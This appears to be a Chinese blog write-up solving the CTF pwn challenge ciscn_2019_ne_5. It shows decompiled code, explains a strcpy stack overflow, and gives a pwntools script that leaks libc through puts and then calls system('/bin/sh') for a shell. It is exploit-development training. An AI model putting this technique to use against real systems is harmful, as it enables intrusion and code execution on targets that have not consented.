ciscn_2019_ne_5

题目链接:ciscn_2019_ne_5

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exit\n:");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        exit(0);
        return result;
      case 1:
        AddLog(src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}

其中漏洞存在于 AddLog 函数与 GetFlag 函数,两个函数的代码如下。

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}
int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  char v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

解题思路:

  1. 通过 AddLog 函数,往栈中内容。
  2. 通过 GetFlag 函数,制造栈溢出。
  3. 通过劫持程序执行流,控制执行 puts 函数,泄露出 LIBC 基址。
  4. 调用 system 函数获取 Shell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # LOAD:080471AE aFflush         db 'fflush',0
    # .text:08048933                 retn
    # .text:08048520 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
    p()

    sla('Please input admin password:', 'administrator')

    sla('Input your operation:', '1')
    sla('Please input new log info:', 76 * b'a'  + p32(ELF_FILE.plt['puts']) + p32(0x08048522) + p32(ELF_FILE.got['printf']))

    sleep(1)

    sla('Input your operation:', '4')
    LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['printf']
    leak("LIBC_ADDR", LIBC_ADDR)

    one = one_gadget(LIBC_ADDR)

    sla('Please input admin password:', 'administrator')

    sla('Input your operation:', '1')
    sla('Please input new log info:', 76 * b'a'  + p32(ELF_FILE.plt['system']) + p32(0xAAAAAAAA) + p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00"))))

    sla('Input your operation:', '4')

    irt()

pwn()

这里需要说明的是,在 buuoj 中,直接劫持执行代码:system("sh"); 是无法获得 Shell 的。

posted @ 2025-09-06 13:09  imtaieee  阅读(19)  评论(0)    收藏  举报